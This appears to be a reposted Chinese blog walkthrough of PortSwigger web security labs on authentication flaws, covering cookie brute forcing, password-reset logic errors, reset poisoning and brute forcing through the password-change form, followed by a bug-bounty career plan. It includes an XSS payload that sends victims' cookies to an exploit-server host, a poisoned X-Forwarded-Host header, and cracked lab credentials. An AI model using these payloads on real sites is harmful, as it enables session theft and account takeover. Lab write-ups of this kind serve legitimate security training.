當(dāng)用戶訪問(wèn)此URL時(shí),系統(tǒng)應(yīng)該檢查后端是否存在此令牌,如果存在,應(yīng)該重置哪個(gè)用戶的密碼。此令牌應(yīng)在短時(shí)間后過(guò)期,并在重置密碼后立即銷毀。 但是,某些網(wǎng)站在提交重置表單時(shí)也無(wú)法再次驗(yàn)證令牌。在這種情況下,攻擊者只需通過(guò)自己的帳戶訪問(wèn)重置表單,刪除令牌,然后利用此頁(yè)面重置任意用戶的密碼。 如果重置電子郵件中的URL是動(dòng)態(tài)生成的,也可能容易受到密碼重置毒害。在這種情況下,攻擊者可能會(huì)竊取其他用戶的令牌并使用它更改其密碼。
3、更改用戶密碼
通常,更改密碼需要輸入當(dāng)前密碼,然后輸入新密碼兩次。這些頁(yè)面基本上依賴于與普通登錄頁(yè)面相同的過(guò)程來(lái)檢查用戶名和當(dāng)前密碼是否匹配。因此,這些頁(yè)可能容易受到相同技術(shù)的攻擊。 如果密碼更改功能允許攻擊者在不以受害用戶身份登錄的情況下直接訪問(wèn)它,則該功能可能特別危險(xiǎn)。例如,如果用戶名在隱藏字段中提供,攻擊者就可能在請(qǐng)求中編輯此值以攻擊任意用戶。攻擊者可能會(huì)利用此漏洞枚舉用戶名和強(qiáng)力密碼。
涉及實(shí)驗(yàn):
實(shí)驗(yàn)3:密碼重置邏輯錯(cuò)誤
實(shí)驗(yàn)11:通過(guò)中間件的密碼重置中毒
實(shí)驗(yàn)12:通過(guò)更改密碼暴力破解密碼
實(shí)驗(yàn)9:強(qiáng)制使用保持登錄狀態(tài)的Cookie
信息:
關(guān)閉瀏覽器后,會(huì)話未銷毀(可以嘗試暴力破解)
已有憑據(jù):wiener:peter
攻擊賬號(hào):carlos
part1:
登陸已有賬號(hào)(點(diǎn)擊stay-logged-in)
part2:
?分析登陸完整過(guò)程的數(shù)據(jù)包
(2個(gè)地方有保持登陸的值)
第一個(gè)地方,是提交登陸的地方(這個(gè)地方肯定是還沒(méi)登陸進(jìn)去的)
第二個(gè)地方是登陸進(jìn)去后的頁(yè)面(這個(gè)地方肯定是成功登陸并保存登陸狀態(tài)的)
stay-logged-in的值解密出來(lái)后就是賬號(hào)-密碼(通過(guò)賬號(hào)密碼一直保持登陸狀態(tài))
先是進(jìn)行了一遍base64加密
然后對(duì)密碼進(jìn)行了cmd5加密
part3:
提示:先退出登陸到首頁(yè)
(不然后面爆破不出來(lái))
part4:
對(duì)被攻擊用戶登陸狀態(tài)的stay-logged-in值進(jìn)行爆破
先導(dǎo)入密碼字典
再設(shè)置加密規(guī)則
(先在是模仿加密規(guī)則,和我們退出來(lái)的方向相反)
對(duì)密碼先進(jìn)行md5加密
?再添加被攻擊賬號(hào)前綴(:千萬(wàn)別打成中文的了)
最后base64加密
part5:
分析結(jié)果
進(jìn)行長(zhǎng)度排序
?Y2FybG9zOjZlYmU3NmM5ZmI0MTFiZTk3YjNiMGQ0OGI3OTFhN2M5
解密:carlos:6ebe76c9fb411be97b3b0d48b791a7c9
解密:987654321
————
得出
賬號(hào):carlos
密碼:987654321
實(shí)驗(yàn)10:離線密碼破解
xss獲取cookie的stay-logged-in值
part1:
已有憑據(jù):wiener:peter
受害者賬號(hào):carlos
part2:
在主頁(yè)找一個(gè)博客進(jìn)行評(píng)論
exploit-0af000c604e4c40dc20ec4e80197006f.exploit-server.net/部分填自己的
<script>document.location='//exploit-0af000c604e4c40dc20ec4e80197006f.exploit-server.net/'+document.cookie</script>?
part3:
獲取xss獲取的cookie
?
Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz
part4:
離線破解
base64破解?
carlos:26323c16d5f4dabff3bb136f2460a943
?cmd5解密:
carlos:onceuponatime
part5:
登陸
?
實(shí)驗(yàn)3:密碼重置邏輯錯(cuò)誤
信息:
已有憑據(jù):wiener:peter
受害者賬號(hào):carlos
part1:
先把所有數(shù)據(jù)包抓了走一遍流程(分析找回的順序)
輸入用戶名后,看郵箱
?
點(diǎn)URL后將進(jìn)行重置密碼
(進(jìn)行重置的數(shù)據(jù)包就是關(guān)鍵了)
part2:
我將重置的URL發(fā)到了repeater
(觀察到了前端隱藏參數(shù),就是用戶名)
?將用戶名改為受害者賬號(hào):carlos
302跳轉(zhuǎn)了,可能成功了,現(xiàn)在去嘗試登陸
part3:
登陸
carlos/111111
實(shí)驗(yàn)11:通過(guò)中間件的密碼重置中毒
信息:
已有憑據(jù):wiener:peter
本實(shí)驗(yàn)中X-Forwarded-Host標(biāo)頭是受支持的,使用它來(lái)將動(dòng)態(tài)生成的重置鏈接指向自己控制的任意域
part1:
復(fù)制郵箱,后面要用(其實(shí)后面也可以直接查看)
exploit-0aea007604ddbf52c85306d901ca0003.exploit-server.net
part2:
退出登陸,到忘記密碼流程去
先使用受害者賬號(hào)名
去獲取temp-forgot-password-token
?添加X-Forwarded-Host標(biāo)頭,并指向漏洞服務(wù)器(已有的)
X-Forwarded-Host:exploit-0aea007604ddbf52c85306d901ca0003.exploit-server.net
在漏洞服務(wù)器中,找到收獲賬號(hào)的temp-forgot-password-token
nFLC5vX07qjtWVeye3UKdfDOjXaYK0zt
part3:
再使用自己的已有賬號(hào)w……
去獲取重置密碼的URL
再去到服務(wù)器郵箱里面
part4:
點(diǎn)擊重置密碼的URL
并將temp-forgot-password-token值由w……的修改為被害者c……的
?進(jìn)入重置密碼
?重置的需要也需要將temp-forgot-password-token值由w……的修改為被害者c……的
part5:
重置后進(jìn)行登陸
?
實(shí)驗(yàn)12:通過(guò)更改密碼暴力破解密碼
信息:
已有憑據(jù):wiener:peter
受害者賬號(hào):carlos
part1:
使用已有賬號(hào)分析(先登陸已有賬號(hào))
為了爆破出正確原密碼,需借助錯(cuò)誤提示(觀察響應(yīng))
方法1:正確原始密碼、不一致的新密碼(可爆破出原密碼)
爆破中:原密碼錯(cuò)誤時(shí)候提示Current password is incorrect,原密碼正確的時(shí)候提示New passwords do not match
?————
方法2:錯(cuò)誤原密碼、不一致新密碼
爆破中:當(dāng)原密碼錯(cuò)誤時(shí)候,提示Current password is incorrect;當(dāng)原密碼正確到時(shí)候,提示信息變?yōu)镹ew passwords do not match
?————
方法3:錯(cuò)誤原密碼、一致新密碼
錯(cuò)誤出現(xiàn)302跳轉(zhuǎn)到登陸頁(yè)面,正確也是302跳轉(zhuǎn)(無(wú)法爆破)
part2:
username改為carlos
對(duì)原密碼進(jìn)行爆破
導(dǎo)入字典
?
?在結(jié)果數(shù)據(jù)包中匹配New passwords do not match(此時(shí)說(shuō)明原密碼已經(jīng)正確了)
part3:
分析結(jié)果
賬號(hào):carlos
密碼:7777777
注冊(cè)已登陸賬號(hào),并登陸carlos
網(wǎng)絡(luò)安全三年之約
First year?
掌握各種原理、不斷打新的靶場(chǎng)
目標(biāo):edusrc、cnvd?
主頁(yè) | 教育漏洞報(bào)告平臺(tái) (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/
second year?
不斷學(xué)習(xí)、提升技術(shù)運(yùn)用技巧,研究各種新平臺(tái)
開始建立自己的滲透體系
目標(biāo):眾測(cè)平臺(tái)、企業(yè)src應(yīng)急響應(yīng)中心?
眾測(cè)平臺(tái) URL 漏洞盒子 漏洞盒子 | 互聯(lián)網(wǎng)安全測(cè)試眾測(cè)平臺(tái) 火線安全平臺(tái) 火線安全平臺(tái) 漏洞銀行 BUGBANK 官方網(wǎng)站 | 領(lǐng)先的網(wǎng)絡(luò)安全漏洞發(fā)現(xiàn)品牌 | 開放安全的提出者與倡導(dǎo)者 | 創(chuàng)新的漏洞發(fā)現(xiàn)平臺(tái) 360漏洞眾包響應(yīng)平臺(tái) 360漏洞云漏洞眾包響應(yīng)平臺(tái) 補(bǔ)天平臺(tái)(奇安信) 補(bǔ)天 - 企業(yè)和白帽子共贏的漏洞響應(yīng)平臺(tái),幫助企業(yè)建立SRC 春秋云測(cè) 首頁(yè) 雷神眾測(cè)(可信眾測(cè),安恒) 雷神眾測(cè) - BountyTeam 云眾可信(啟明星辰) 云眾可信 - 互聯(lián)網(wǎng)安全服務(wù)引領(lǐng)者 ALLSEC ALLSEC 360眾測(cè) 360眾測(cè)平臺(tái) 看雪眾測(cè)(物聯(lián)網(wǎng)) 看雪滲透測(cè)試服務(wù) CNVD眾測(cè)平臺(tái) 網(wǎng)絡(luò)安全眾測(cè)平臺(tái) 工控互聯(lián)網(wǎng)安全測(cè)試平臺(tái) CNCERT工業(yè)互聯(lián)網(wǎng)安全測(cè)試平臺(tái) 慢霧(區(qū)塊鏈) Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone 平安匯聚 http://isrc.pingan.com/homePage/index
互聯(lián)網(wǎng)大廠 URL 阿里 https://asrc.alibaba.com/#/ 騰訊 https://security.tencent.com/ 百度 https://bsrc.baidu.com/v2/#/home 美團(tuán) https://security.meituan.com/#/home 360 https://security.#/ 網(wǎng)易 https://aq.163.com/ 字節(jié)跳動(dòng) https://security.bytedance.com/ 京東 https://security.jd.com/#/ 新浪 http://sec.sina.com.cn/ 微博 https://wsrc.weibo.com/ 搜狗 http://sec.sogou.com/ 金山辦公 https://security.wps.cn/ 有贊 https://src.youzan.com/
Third Year?
學(xué)習(xí)最新的知識(shí),建全自己的滲透體系
目標(biāo):參與護(hù)網(wǎng)(每一個(gè)男孩子心中的夢(mèng)想)?
時(shí)間:一般5月面試,6/7月開始(持續(xù)2-3周)文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-436454.html
分類:國(guó)家級(jí)護(hù)網(wǎng)、省級(jí)護(hù)網(wǎng)、市級(jí)護(hù)網(wǎng)、重大節(jié)日護(hù)網(wǎng)(如:建黨、冬奧等)文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-436454.html
到了這里,關(guān)于【burpsuite安全練兵場(chǎng)-服務(wù)端2】身份認(rèn)證漏洞-16個(gè)實(shí)驗(yàn)(全)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!